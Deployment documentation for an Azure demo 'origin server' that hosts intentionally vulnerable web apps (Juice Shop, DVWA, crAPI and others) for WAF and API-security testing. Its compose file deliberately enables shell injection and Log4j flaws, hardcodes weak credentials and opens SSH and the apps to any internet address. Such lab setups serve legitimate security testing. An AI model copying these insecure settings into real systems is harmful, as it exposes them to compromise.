- Home
- Origin Server
- Deploy
Deploy
All Terraform files are in the terraform/ directory. Clone the repository and deploy directly:
git clone https://github.com/f5xc-salesdemos/origin-server.gitcd origin-server/terraformcp terraform.tfvars.example terraform.tfvars# Edit terraform.tfvars with your Azure subscription ID and SSH key pathTerraform Configuration
Section titled “Terraform Configuration”Terraform File Structure
Section titled “Terraform File Structure”The terraform directory contains 9 files following the Demo Resource Standard:
versions.tf— Terraform and provider version constraints (azurerm ~> 4.0, azuread ~> 3.0)providers.tf— Azure RM and Azure AD provider configurationdata.tf— Azure AD data sources for deployer auto-resolutionlocals.tf— Deployer resolution, Azure Cloud Adoption Framework resource naming, standard tagsmain.tf— Resource group (namedrg-origin-server-{environment}-{deployer})variables.tf— All input variables (1 required, 8 optional)network.tf— VNet (10.200.0.0/16), subnet, public IP, NSG (ports 22/80/443/8888), NICvm.tf— Ubuntu 24.04 VM with cloud-init via templatefile()outputs.tf— 25 outputs (15 standard + 10 component-specific application URLs)
main.tf contains only the resource group:
resource "azurerm_resource_group" "main" { name = local.name.resource_group location = var.location tags = local.tags}variables.tf defines all configurable parameters. The deployer identifier is auto-resolved from your Azure AD account — you only need to set subscription_id. The vm_size default is Standard_D16s_v3 (16 vCPU, 64 GiB RAM) sized for 41 Docker containers:
# ---------------------------------------------------------# General# ---------------------------------------------------------
variable "subscription_id" { description = "Azure subscription ID" type = string}
variable "deployer" { description = "Override for deployer identifier (auto-resolved from Azure AD if empty). Required for service principal or managed identity authentication." type = string default = ""}
variable "location" { description = "Azure region for all resources" type = string default = "eastus2"}
variable "environment" { description = "Environment label used in resource group naming and tags" type = string default = "lab"}
variable "tags" { description = "Additional tags merged with standard tags (component, environment, deployer, managed_by)" type = map(string) default = {}}
# ---------------------------------------------------------# Compute# ---------------------------------------------------------
variable "vm_size" { description = "Azure VM size (Standard_D16s_v3: 16 vCPU, 64 GiB RAM for Docker workloads)" type = string default = "Standard_D16s_v3"}
variable "admin_username" { description = "SSH admin username for the VM" type = string default = "azureuser"}
variable "ssh_public_key_path" { description = "Path to the SSH public key file" type = string default = "~/.ssh/id_ed25519.pub"}
variable "disk_size_gb" { description = "OS disk size in GB" type = number default = 60}Network Infrastructure
Section titled “Network Infrastructure”network.tf creates the VNet, subnet, public IP, NSG (ports 22/80/443/8888), and NIC. Port 8888 is required for crAPI which runs on a dedicated port:
resource "azurerm_virtual_network" "main" { name = local.name.virtual_network address_space = ["10.200.0.0/16"] location = azurerm_resource_group.main.location resource_group_name = azurerm_resource_group.main.name
tags = azurerm_resource_group.main.tags}
resource "azurerm_subnet" "main" { #checkov:skip=CKV2_AZURE_31:Lab subnet - NSG associated at NIC level name = local.name.subnet resource_group_name = azurerm_resource_group.main.name virtual_network_name = azurerm_virtual_network.main.name address_prefixes = ["10.200.1.0/24"]}
resource "azurerm_public_ip" "main" { name = local.name.public_ip location = azurerm_resource_group.main.location resource_group_name = azurerm_resource_group.main.name allocation_method = "Static" sku = "Standard"
tags = azurerm_resource_group.main.tags}
resource "azurerm_network_security_group" "main" { #checkov:skip=CKV_AZURE_10:Lab NSG - SSH open for demo access #checkov:skip=CKV_AZURE_160:Lab NSG - HTTP port 80 required for traffic #checkov:skip=CKV_AZURE_220:Lab NSG - SSH open for demo access name = local.name.nsg location = azurerm_resource_group.main.location resource_group_name = azurerm_resource_group.main.name
security_rule { name = "AllowHTTP" priority = 100 direction = "Inbound" access = "Allow" protocol = "Tcp" source_port_range = "*" destination_port_range = "80" source_address_prefix = "*" destination_address_prefix = "*" }
security_rule { name = "AllowHTTPS" priority = 110 direction = "Inbound" access = "Allow" protocol = "Tcp" source_port_range = "*" destination_port_range = "443" source_address_prefix = "*" destination_address_prefix = "*" }
security_rule { name = "AllowSSH" priority = 120 direction = "Inbound" access = "Allow" protocol = "Tcp" source_port_range = "*" destination_port_range = "22" source_address_prefix = "*" destination_address_prefix = "*" }
security_rule { name = "AllowCrAPI" priority = 130 direction = "Inbound" access = "Allow" protocol = "Tcp" source_port_range = "*" destination_port_range = "8888" source_address_prefix = "*" destination_address_prefix = "*" }
tags = azurerm_resource_group.main.tags}
resource "azurerm_network_interface" "main" { #checkov:skip=CKV_AZURE_119:Lab NIC - public IP required for demo access name = local.name.network_interface location = azurerm_resource_group.main.location resource_group_name = azurerm_resource_group.main.name
ip_configuration { name = "internal" subnet_id = azurerm_subnet.main.id private_ip_address_allocation = "Dynamic" public_ip_address_id = azurerm_public_ip.main.id }
tags = azurerm_resource_group.main.tags}
resource "azurerm_network_interface_security_group_association" "main" { network_interface_id = azurerm_network_interface.main.id network_security_group_id = azurerm_network_security_group.main.id}Virtual Machine with Cloud-Init
Section titled “Virtual Machine with Cloud-Init”vm.tf creates the Ubuntu 24.04 VM and passes the cloud-init provisioning script. The 60 GiB Premium SSD provides sufficient space for Docker images and container volumes:
resource "azurerm_linux_virtual_machine" "main" { #checkov:skip=CKV_AZURE_50:Lab VM - no extensions required #checkov:skip=CKV_AZURE_93:Lab VM - platform-managed encryption sufficient name = local.name.virtual_machine resource_group_name = azurerm_resource_group.main.name location = azurerm_resource_group.main.location size = var.vm_size
admin_username = var.admin_username disable_password_authentication = true
admin_ssh_key { username = var.admin_username public_key = file(pathexpand(var.ssh_public_key_path)) }
network_interface_ids = [azurerm_network_interface.main.id]
os_disk { caching = "ReadWrite" storage_account_type = "Premium_LRS" disk_size_gb = var.disk_size_gb }
source_image_reference { publisher = "Canonical" offer = "ubuntu-24_04-lts" sku = "server" version = "latest" }
custom_data = base64encode(templatefile("${path.module}/cloud-init.yaml", {}))
tags = azurerm_resource_group.main.tags}Cloud-Init Provisioning
Section titled “Cloud-Init Provisioning”cloud-init.yaml provisions the VM with a hardened configuration. A shared helper library (/usr/local/lib/cloud-init-helpers.sh) provides retry logic on all network operations and progress logging to /var/log/cloud-init-progress.log. Active health-check polling replaces fixed-duration sleep for container readiness. It provisions:
- Kernel tuning: TCP keepalive, TIME_WAIT reuse, 2M tw_buckets, 64K somaxconn
- nginx: 8 upstream blocks with sticky sessions (ip_hash, cookie hash), keepalive pools (64—128), proxy cache for Juice Shop, error_log crit level
- Docker Compose: 41 containers across 9 applications with per-container CPU/memory limits
- Custom builds: DVWA-FPM (php-fpm with pm.max_requests=200), CSD Demo (Flask + gunicorn), RESTaurant (cloned from GitHub)
- Worker recycling: uvicorn —limit-max-requests 200 (RESTaurant), pm.max_requests 200 (DVWA-FPM) to prevent memory leaks under sustained load
#cloud-configpackage_update: truepackage_upgrade: true
bootcmd: - mkdir -p /var/cache/nginx/juice_shop - chown www-data:www-data /var/cache/nginx/juice_shop 2>/dev/null || true
packages: - ca-certificates - curl - gnupg - nginx - sysstat - htop - iotop - dool - iftop
write_files: - path: /etc/sysctl.d/99-origin-server.conf content: | # Origin server performance tuning for concurrent web traffic net.core.somaxconn = 65535 net.ipv4.tcp_max_syn_backlog = 65535 net.core.netdev_max_backlog = 65535 net.ipv4.ip_local_port_range = 1024 65535 net.ipv4.tcp_tw_reuse = 1 net.ipv4.tcp_fin_timeout = 10 net.ipv4.tcp_keepalive_time = 60 net.ipv4.tcp_keepalive_intvl = 10 net.ipv4.tcp_keepalive_probes = 6 net.ipv4.tcp_max_tw_buckets = 2000000 net.ipv4.tcp_syncookies = 1 net.core.rmem_max = 16777216 net.core.wmem_max = 16777216 net.ipv4.tcp_rmem = 4096 87380 16777216 net.ipv4.tcp_wmem = 4096 65536 16777216
- path: /etc/nginx/nginx.conf content: | user www-data; worker_processes auto; worker_rlimit_nofile 65535; pid /run/nginx.pid; error_log /var/log/nginx/error.log crit; include /etc/nginx/modules-enabled/*.conf;
events { worker_connections 16384; multi_accept on; use epoll; }
http { sendfile on; tcp_nopush on; tcp_nodelay on; types_hash_max_size 2048; server_tokens off;
include /etc/nginx/mime.types; default_type application/octet-stream;
keepalive_timeout 65; keepalive_requests 1000; client_body_timeout 10; client_header_timeout 10; send_timeout 10; reset_timedout_connection on;
proxy_buffer_size 32k; proxy_buffers 16 32k; proxy_busy_buffers_size 64k; proxy_connect_timeout 5; proxy_read_timeout 30; proxy_send_timeout 10;
access_log off;
gzip on; gzip_vary on; gzip_proxied any; gzip_comp_level 4; gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript;
proxy_cache_path /var/cache/nginx/juice_shop levels=1:2 keys_zone=juice_cache:10m max_size=100m inactive=5m use_temp_path=off; upstream juice_shop { server 127.0.0.1:3001 max_fails=3 fail_timeout=10s; server 127.0.0.1:3002 max_fails=3 fail_timeout=10s; server 127.0.0.1:3003 max_fails=3 fail_timeout=10s; server 127.0.0.1:3004 max_fails=3 fail_timeout=10s; hash $cookie_token consistent; keepalive 64; }
upstream dvwa { server 127.0.0.1:8101 max_fails=3 fail_timeout=10s; server 127.0.0.1:8102 max_fails=3 fail_timeout=10s; server 127.0.0.1:8103 max_fails=3 fail_timeout=10s; server 127.0.0.1:8104 max_fails=3 fail_timeout=10s; hash $cookie_PHPSESSID consistent; keepalive 128; }
upstream vampi { server 127.0.0.1:5101 max_fails=3 fail_timeout=10s; server 127.0.0.1:5102 max_fails=3 fail_timeout=10s; server 127.0.0.1:5103 max_fails=3 fail_timeout=10s; server 127.0.0.1:5104 max_fails=3 fail_timeout=10s; ip_hash; keepalive 128; }
upstream httpbin_up { server 127.0.0.1:8201 max_fails=3 fail_timeout=10s; server 127.0.0.1:8202 max_fails=3 fail_timeout=10s; server 127.0.0.1:8203 max_fails=3 fail_timeout=10s; server 127.0.0.1:8204 max_fails=3 fail_timeout=10s; keepalive 128; }
upstream whoami_up { server 127.0.0.1:8082 max_fails=3 fail_timeout=10s; server 127.0.0.1:8083 max_fails=3 fail_timeout=10s; server 127.0.0.1:8084 max_fails=3 fail_timeout=10s; server 127.0.0.1:8085 max_fails=3 fail_timeout=10s; keepalive 128; } upstream csd_demo { server 127.0.0.1:5001 max_fails=3 fail_timeout=10s; server 127.0.0.1:5002 max_fails=3 fail_timeout=10s; server 127.0.0.1:5003 max_fails=3 fail_timeout=10s; server 127.0.0.1:5004 max_fails=3 fail_timeout=10s; ip_hash; keepalive 128; }
upstream dvga_graphql { server 127.0.0.1:5201 max_fails=3 fail_timeout=10s; server 127.0.0.1:5202 max_fails=3 fail_timeout=10s; server 127.0.0.1:5203 max_fails=3 fail_timeout=10s; server 127.0.0.1:5204 max_fails=3 fail_timeout=10s; ip_hash; keepalive 128; }
upstream restaurant { server 127.0.0.1:8301 max_fails=3 fail_timeout=10s; server 127.0.0.1:8302 max_fails=3 fail_timeout=10s; server 127.0.0.1:8303 max_fails=3 fail_timeout=10s; server 127.0.0.1:8304 max_fails=3 fail_timeout=10s; keepalive 128; }
include /etc/nginx/conf.d/*.conf; include /etc/nginx/sites-enabled/*; }
- path: /etc/systemd/system/nginx.service.d/limits.conf content: | [Service] LimitNOFILE=65535 LimitNOFILESoft=65535
- path: /etc/logrotate.d/nginx-origin content: | /var/log/nginx/*.log { daily rotate 7 size 500M compress delaycompress missingok notifempty sharedscripts postrotate nginx -s reopen endscript }
- path: /etc/systemd/journald.conf.d/origin-server.conf content: | [Journal] SystemMaxUse=200M RuntimeMaxUse=50M
- path: /opt/origin-server/docker-compose.yml content: | services: juice-shop-1: image: bkimminich/juice-shop:latest container_name: juice-shop-1 restart: unless-stopped ports: - "127.0.0.1:3001:3000" environment: - NODE_ENV=ctf deploy: resources: limits: cpus: "1.0" memory: 1024M
juice-shop-2: image: bkimminich/juice-shop:latest container_name: juice-shop-2 restart: unless-stopped ports: - "127.0.0.1:3002:3000" environment: - NODE_ENV=ctf deploy: resources: limits: cpus: "1.0" memory: 1024M
juice-shop-3: image: bkimminich/juice-shop:latest container_name: juice-shop-3 restart: unless-stopped ports: - "127.0.0.1:3003:3000" environment: - NODE_ENV=ctf deploy: resources: limits: cpus: "1.0" memory: 1024M
juice-shop-4: image: bkimminich/juice-shop:latest container_name: juice-shop-4 restart: unless-stopped ports: - "127.0.0.1:3004:3000" environment: - NODE_ENV=ctf deploy: resources: limits: cpus: "1.0" memory: 1024M
dvwa-1: build: ./dvwa-fpm/ container_name: dvwa-1 restart: unless-stopped depends_on: - dvwa-db ports: - "127.0.0.1:8101:80" environment: - DB_SERVER=dvwa-db - DB_DATABASE=dvwa - DB_USER=dvwa - DB_PASSWORD=p@ssw0rd deploy: resources: limits: cpus: "0.5" memory: 512M
dvwa-2: build: ./dvwa-fpm/ container_name: dvwa-2 restart: unless-stopped depends_on: - dvwa-db ports: - "127.0.0.1:8102:80" environment: - DB_SERVER=dvwa-db - DB_DATABASE=dvwa - DB_USER=dvwa - DB_PASSWORD=p@ssw0rd deploy: resources: limits: cpus: "0.5" memory: 512M
dvwa-3: build: ./dvwa-fpm/ container_name: dvwa-3 restart: unless-stopped depends_on: - dvwa-db ports: - "127.0.0.1:8103:80" environment: - DB_SERVER=dvwa-db - DB_DATABASE=dvwa - DB_USER=dvwa - DB_PASSWORD=p@ssw0rd deploy: resources: limits: cpus: "0.5" memory: 512M
dvwa-4: build: ./dvwa-fpm/ container_name: dvwa-4 restart: unless-stopped depends_on: - dvwa-db ports: - "127.0.0.1:8104:80" environment: - DB_SERVER=dvwa-db - DB_DATABASE=dvwa - DB_USER=dvwa - DB_PASSWORD=p@ssw0rd deploy: resources: limits: cpus: "0.5" memory: 512M
dvwa-db: image: mariadb:10.11 container_name: dvwa-db restart: unless-stopped environment: - MYSQL_ROOT_PASSWORD=root_password - MYSQL_DATABASE=dvwa - MYSQL_USER=dvwa - MYSQL_PASSWORD=p@ssw0rd - MARIADB_INNODB_BUFFER_POOL_SIZE=256M - MARIADB_MAX_CONNECTIONS=400 - MARIADB_INNODB_LOG_FILE_SIZE=100M volumes: - dvwa-db-data:/var/lib/mysql deploy: resources: limits: cpus: "1.0" memory: 768M
vampi-1: image: erev0s/vampi:latest container_name: vampi-1 restart: unless-stopped ports: - "127.0.0.1:5101:5000" entrypoint: ["/bin/sh", "/vampi/entrypoint.sh"] volumes: - ./vampi-gunicorn.sh:/vampi/entrypoint.sh:ro deploy: resources: limits: cpus: "0.5" memory: 512M
vampi-2: image: erev0s/vampi:latest container_name: vampi-2 restart: unless-stopped ports: - "127.0.0.1:5102:5000" entrypoint: ["/bin/sh", "/vampi/entrypoint.sh"] volumes: - ./vampi-gunicorn.sh:/vampi/entrypoint.sh:ro deploy: resources: limits: cpus: "0.5" memory: 512M
vampi-3: image: erev0s/vampi:latest container_name: vampi-3 restart: unless-stopped ports: - "127.0.0.1:5103:5000" entrypoint: ["/bin/sh", "/vampi/entrypoint.sh"] volumes: - ./vampi-gunicorn.sh:/vampi/entrypoint.sh:ro deploy: resources: limits: cpus: "0.5" memory: 512M
vampi-4: image: erev0s/vampi:latest container_name: vampi-4 restart: unless-stopped ports: - "127.0.0.1:5104:5000" entrypoint: ["/bin/sh", "/vampi/entrypoint.sh"] volumes: - ./vampi-gunicorn.sh:/vampi/entrypoint.sh:ro deploy: resources: limits: cpus: "0.5" memory: 512M
httpbin-1: image: kennethreitz/httpbin:latest container_name: httpbin-1 restart: unless-stopped ports: - "127.0.0.1:8201:80" command: ["gunicorn", "-b", "0.0.0.0:80", "httpbin:app", "-k", "gevent", "-w", "4", "--timeout", "30"] deploy: resources: limits: cpus: "1.0" memory: 256M
httpbin-2: image: kennethreitz/httpbin:latest container_name: httpbin-2 restart: unless-stopped ports: - "127.0.0.1:8202:80" command: ["gunicorn", "-b", "0.0.0.0:80", "httpbin:app", "-k", "gevent", "-w", "4", "--timeout", "30"] deploy: resources: limits: cpus: "1.0" memory: 256M
httpbin-3: image: kennethreitz/httpbin:latest container_name: httpbin-3 restart: unless-stopped ports: - "127.0.0.1:8203:80" command: ["gunicorn", "-b", "0.0.0.0:80", "httpbin:app", "-k", "gevent", "-w", "4", "--timeout", "30"] deploy: resources: limits: cpus: "1.0" memory: 256M
httpbin-4: image: kennethreitz/httpbin:latest container_name: httpbin-4 restart: unless-stopped ports: - "127.0.0.1:8204:80" command: ["gunicorn", "-b", "0.0.0.0:80", "httpbin:app", "-k", "gevent", "-w", "4", "--timeout", "30"] deploy: resources: limits: cpus: "1.0" memory: 256M
whoami-1: image: traefik/whoami:latest container_name: whoami-1 restart: unless-stopped ports: - "127.0.0.1:8082:80" deploy: resources: limits: cpus: "0.25" memory: 64M
whoami-2: image: traefik/whoami:latest container_name: whoami-2 restart: unless-stopped ports: - "127.0.0.1:8083:80" deploy: resources: limits: cpus: "0.25" memory: 64M
whoami-3: image: traefik/whoami:latest container_name: whoami-3 restart: unless-stopped ports: - "127.0.0.1:8084:80" deploy: resources: limits: cpus: "0.25" memory: 64M
whoami-4: image: traefik/whoami:latest container_name: whoami-4 restart: unless-stopped ports: - "127.0.0.1:8085:80" deploy: resources: limits: cpus: "0.25" memory: 64M
csd-demo-1: build: ./csd-demo/ container_name: csd-demo-1 restart: unless-stopped ports: - "127.0.0.1:5001:5001" deploy: resources: limits: cpus: "0.5" memory: 256M
csd-demo-2: build: ./csd-demo/ container_name: csd-demo-2 restart: unless-stopped ports: - "127.0.0.1:5002:5001" deploy: resources: limits: cpus: "0.5" memory: 256M
csd-demo-3: build: ./csd-demo/ container_name: csd-demo-3 restart: unless-stopped ports: - "127.0.0.1:5003:5001" deploy: resources: limits: cpus: "0.5" memory: 256M
csd-demo-4: build: ./csd-demo/ container_name: csd-demo-4 restart: unless-stopped ports: - "127.0.0.1:5004:5001" deploy: resources: limits: cpus: "0.5" memory: 256M
dvga-1: image: dolevf/dvga:latest container_name: dvga-1 restart: unless-stopped ports: - "127.0.0.1:5201:5013" environment: - WEB_HOST=0.0.0.0 deploy: resources: limits: cpus: "0.5" memory: 384M
dvga-2: image: dolevf/dvga:latest container_name: dvga-2 restart: unless-stopped ports: - "127.0.0.1:5202:5013" environment: - WEB_HOST=0.0.0.0 deploy: resources: limits: cpus: "0.5" memory: 384M
dvga-3: image: dolevf/dvga:latest container_name: dvga-3 restart: unless-stopped ports: - "127.0.0.1:5203:5013" environment: - WEB_HOST=0.0.0.0 deploy: resources: limits: cpus: "0.5" memory: 384M
dvga-4: image: dolevf/dvga:latest container_name: dvga-4 restart: unless-stopped ports: - "127.0.0.1:5204:5013" environment: - WEB_HOST=0.0.0.0 deploy: resources: limits: cpus: "0.5" memory: 384M
restaurant-db: image: postgres:15.4-alpine container_name: restaurant-db restart: unless-stopped environment: - POSTGRES_USER=admin - POSTGRES_PASSWORD=password - POSTGRES_DB=restaurant - PGDATA=/var/lib/postgresql/data/pgdata volumes: - restaurant-db-data:/var/lib/postgresql/data healthcheck: test: ["CMD-SHELL", "pg_isready -U admin -d restaurant"] interval: 5s timeout: 5s retries: 10 deploy: resources: limits: cpus: "0.5" memory: 512M
restaurant-1: build: ./restaurant/ container_name: restaurant-1 restart: unless-stopped ports: - "127.0.0.1:8301:8091" command: ["sh", "-c", "alembic upgrade head && uvicorn main:app --host 0.0.0.0 --port 8091 --root-path /restaurant --limit-max-requests 200"] environment: - POSTGRES_USER=admin - POSTGRES_PASSWORD=password - POSTGRES_SERVER=restaurant-db - POSTGRES_PORT=5432 - POSTGRES_DB=restaurant depends_on: restaurant-db: condition: service_healthy cap_add: - SYS_ADMIN deploy: resources: limits: cpus: "0.5" memory: 384M
restaurant-2: build: ./restaurant/ container_name: restaurant-2 restart: unless-stopped ports: - "127.0.0.1:8302:8091" command: ["sh", "-c", "alembic upgrade head && uvicorn main:app --host 0.0.0.0 --port 8091 --root-path /restaurant --limit-max-requests 200"] environment: - POSTGRES_USER=admin - POSTGRES_PASSWORD=password - POSTGRES_SERVER=restaurant-db - POSTGRES_PORT=5432 - POSTGRES_DB=restaurant depends_on: restaurant-db: condition: service_healthy cap_add: - SYS_ADMIN deploy: resources: limits: cpus: "0.5" memory: 384M
restaurant-3: build: ./restaurant/ container_name: restaurant-3 restart: unless-stopped ports: - "127.0.0.1:8303:8091" command: ["sh", "-c", "alembic upgrade head && uvicorn main:app --host 0.0.0.0 --port 8091 --root-path /restaurant --limit-max-requests 200"] environment: - POSTGRES_USER=admin - POSTGRES_PASSWORD=password - POSTGRES_SERVER=restaurant-db - POSTGRES_PORT=5432 - POSTGRES_DB=restaurant depends_on: restaurant-db: condition: service_healthy cap_add: - SYS_ADMIN deploy: resources: limits: cpus: "0.5" memory: 384M
restaurant-4: build: ./restaurant/ container_name: restaurant-4 restart: unless-stopped ports: - "127.0.0.1:8304:8091" command: ["sh", "-c", "alembic upgrade head && uvicorn main:app --host 0.0.0.0 --port 8091 --root-path /restaurant --limit-max-requests 200"] environment: - POSTGRES_USER=admin - POSTGRES_PASSWORD=password - POSTGRES_SERVER=restaurant-db - POSTGRES_PORT=5432 - POSTGRES_DB=restaurant depends_on: restaurant-db: condition: service_healthy cap_add: - SYS_ADMIN deploy: resources: limits: cpus: "0.5" memory: 384M
crapi-web: image: crapi/crapi-web:latest container_name: crapi-web restart: unless-stopped ports: - "127.0.0.1:18888:80" environment: - COMMUNITY_SERVICE=crapi-community:8087 - IDENTITY_SERVICE=crapi-identity:8080 - WORKSHOP_SERVICE=crapi-workshop:8000 - CHATBOT_SERVICE=crapi-identity:8080 - MAILHOG_WEB_SERVICE=crapi-mailhog:8025 - TLS_ENABLED=false depends_on: crapi-identity: condition: service_healthy crapi-community: condition: service_healthy crapi-workshop: condition: service_healthy healthcheck: test: ["CMD", "curl", "-f", "http://0.0.0.0:80/health"] interval: 15s timeout: 15s retries: 15 deploy: resources: limits: cpus: "0.3" memory: 128M
crapi-identity: image: crapi/crapi-identity:latest container_name: crapi-identity restart: unless-stopped environment: - LOG_LEVEL=INFO - DB_NAME=crapi - DB_USER=admin - DB_PASSWORD=crapisecretpassword - DB_HOST=crapi-postgres - DB_PORT=5432 - SERVER_PORT=8080 - ENABLE_SHELL_INJECTION=true - JWT_SECRET=crapi - JWT_EXPIRATION=604800000 - MAILHOG_HOST=crapi-mailhog - MAILHOG_PORT=1025 - MAILHOG_DOMAIN=example.com - SMTP_HOST=crapi-mailhog - SMTP_PORT=1025 - SMTP_EMAIL=user@example.com - SMTP_PASS=xxxxxxxxxxxxxx - SMTP_FROM=no-reply@example.com - SMTP_AUTH=false - SMTP_STARTTLS=false - ENABLE_LOG4J=true - API_GATEWAY_URL=https://api.mypremiumdealership.com - MONGO_DB_HOST=crapi-mongo - MONGO_DB_PORT=27017 - MONGO_DB_USER=admin - MONGO_DB_PASSWORD=crapisecretpassword - MONGO_DB_NAME=crapi - TLS_ENABLED=false depends_on: crapi-postgres: condition: service_healthy crapi-mongo: condition: service_healthy crapi-mailhog: condition: service_healthy healthcheck: test: ["CMD", "/app/health.sh"] interval: 15s timeout: 15s retries: 15 deploy: resources: limits: cpus: "0.8" memory: 1024M
crapi-community: image: crapi/crapi-community:latest container_name: crapi-community restart: unless-stopped environment: - LOG_LEVEL=INFO - IDENTITY_SERVICE=crapi-identity:8080 - DB_NAME=crapi - DB_USER=admin - DB_PASSWORD=crapisecretpassword - DB_HOST=crapi-postgres - DB_PORT=5432 - SERVER_PORT=8087 - MONGO_DB_HOST=crapi-mongo - MONGO_DB_PORT=27017 - MONGO_DB_USER=admin - MONGO_DB_PASSWORD=crapisecretpassword - MONGO_DB_NAME=crapi - TLS_ENABLED=false depends_on: crapi-mongo: condition: service_healthy crapi-identity: condition: service_healthy healthcheck: test: ["CMD", "/app/health.sh"] interval: 15s timeout: 15s retries: 15 deploy: resources: limits: cpus: "0.3" memory: 192M
crapi-workshop: image: crapi/crapi-workshop:latest container_name: crapi-workshop restart: unless-stopped environment: - LOG_LEVEL=INFO - IDENTITY_SERVICE=crapi-identity:8080 - DB_NAME=crapi - DB_USER=admin - DB_PASSWORD=crapisecretpassword - DB_HOST=crapi-postgres - DB_PORT=5432 - SERVER_PORT=8000 - MONGO_DB_HOST=crapi-mongo - MONGO_DB_PORT=27017 - MONGO_DB_USER=admin - MONGO_DB_PASSWORD=crapisecretpassword - MONGO_DB_NAME=crapi - SECRET_KEY=crapi - API_GATEWAY_URL=https://api.mypremiumdealership.com - TLS_ENABLED=false - FILES_LIMIT=1000 - GUNICORN_WORKERS=4 depends_on: crapi-postgres: condition: service_healthy crapi-mongo: condition: service_healthy crapi-identity: condition: service_healthy crapi-community: condition: service_healthy healthcheck: test: ["CMD", "/app/health.sh"] interval: 15s timeout: 15s retries: 15 deploy: resources: limits: cpus: "1.0" memory: 512M
crapi-postgres: image: postgres:14 container_name: crapi-postgres restart: unless-stopped environment: - POSTGRES_USER=admin - POSTGRES_PASSWORD=crapisecretpassword - POSTGRES_DB=crapi volumes: - crapi-postgres-data:/var/lib/postgresql/data healthcheck: test: ["CMD-SHELL", "pg_isready"] interval: 15s timeout: 15s retries: 10 deploy: resources: limits: cpus: "0.5" memory: 256M
crapi-mongo: image: mongo:4.4 container_name: crapi-mongo restart: unless-stopped environment: - MONGO_INITDB_ROOT_USERNAME=admin - MONGO_INITDB_ROOT_PASSWORD=crapisecretpassword volumes: - crapi-mongo-data:/data/db healthcheck: test: ["CMD", "mongo", "--eval", "db.runCommand(\"ping\").ok", "--quiet"] interval: 15s timeout: 15s retries: 10 start_period: 20s deploy: resources: limits: cpus: "0.3" memory: 256M
crapi-mailhog: image: crapi/mailhog:latest container_name: crapi-mailhog restart: unless-stopped ports: - "127.0.0.1:18025:8025" environment: - MH_MONGO_URI=admin:crapisecretpassword@crapi-mongo:27017 - MH_STORAGE=mongodb depends_on: crapi-mongo: condition: service_healthy healthcheck: test: ["CMD", "nc", "-z", "localhost", "8025"] interval: 15s timeout: 15s retries: 10 deploy: resources: limits: cpus: "0.3" memory: 128M
volumes: dvwa-db-data: restaurant-db-data: crapi-postgres-data: crapi-mongo-data:
- path: /etc/nginx/sites-available/origin-server content: | server { listen 80 reuseport backlog=4096; server_name _;
location /health { access_log off; return 200 '{ "status":"healthy","component":"origin-server","applications":["juice-shop","dvwa","vampi","httpbin","whoami","csd-demo","dvga","restaurant","crapi"] }' ; add_header Content-Type application/json; }
location / { root /var/www/html; index index.html; }
location /juice-shop/ { proxy_pass http://juice_shop/; proxy_http_version 1.1; proxy_set_header Connection ""; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; proxy_set_header X-Forwarded-Prefix /juice-shop; proxy_cache juice_cache; proxy_cache_valid 200 60s; proxy_cache_key "$request_uri"; add_header X-Cache-Status $upstream_cache_status; }
location /dvwa/ { proxy_pass http://dvwa/; proxy_http_version 1.1; proxy_set_header Connection ""; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; }
location /vampi/ { proxy_pass http://vampi/; proxy_http_version 1.1; proxy_set_header Connection ""; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; }
location /httpbin/ { proxy_pass http://httpbin_up/; proxy_http_version 1.1; proxy_set_header Connection ""; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; }
location /whoami/ { proxy_pass http://whoami_up/; proxy_http_version 1.1; proxy_set_header Connection ""; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; }
location /csd-demo/ { proxy_pass http://csd_demo/; proxy_http_version 1.1; proxy_set_header Connection ""; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; }
location /dvga/ { proxy_pass http://dvga_graphql/; proxy_http_version 1.1; proxy_set_header Connection ""; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; }
location /restaurant/ { proxy_pass http://restaurant/; proxy_http_version 1.1; proxy_set_header Connection ""; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; } }
server { listen 8888; server_name _;
location /health { access_log off; return 200 '{"status":"healthy","component":"crapi"}'; add_header Content-Type application/json; }
location / { proxy_pass http://127.0.0.1:18888; proxy_http_version 1.1; proxy_set_header Connection ""; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; } }
- path: /var/www/html/index.html content: | <!DOCTYPE html> <html> <head><title>Origin Server</title></head> <body> <h1>Origin Server</h1> <p>Vulnerable web application origin server for F5 XC demo environments.</p> <ul> <li><a href="/juice-shop/">Juice Shop</a> - OWASP Top 10 (XSS, SQLi, CSRF)</li> <li><a href="/dvwa/">DVWA</a> - WAF testing (adjustable difficulty)</li> <li><a href="/vampi/">VAmPI</a> - REST API security (OWASP API Top 10)</li> <li><a href="/httpbin/">httpbin</a> - HTTP request/response testing</li> <li><a href="/whoami/">whoami</a> - Request diagnostics (headers, IP, hostname)</li> <li><a href="/csd-demo/">CSD Demo</a> - Client-Side Defense testing (skimming, formjacking)</li> <li><a href="/dvga/">DVGA</a> - GraphQL security (introspection, batching, injection)</li> <li><a href="/restaurant/">RESTaurant</a> - REST API security (OWASP API Top 10 2023)</li> <li><a href="javascript:void(0)" onclick="window.open('http://'+location.hostname+':8888','_blank')">crAPI</a> - Microservices API security (BOLA, BFLA, SSRF)</li> 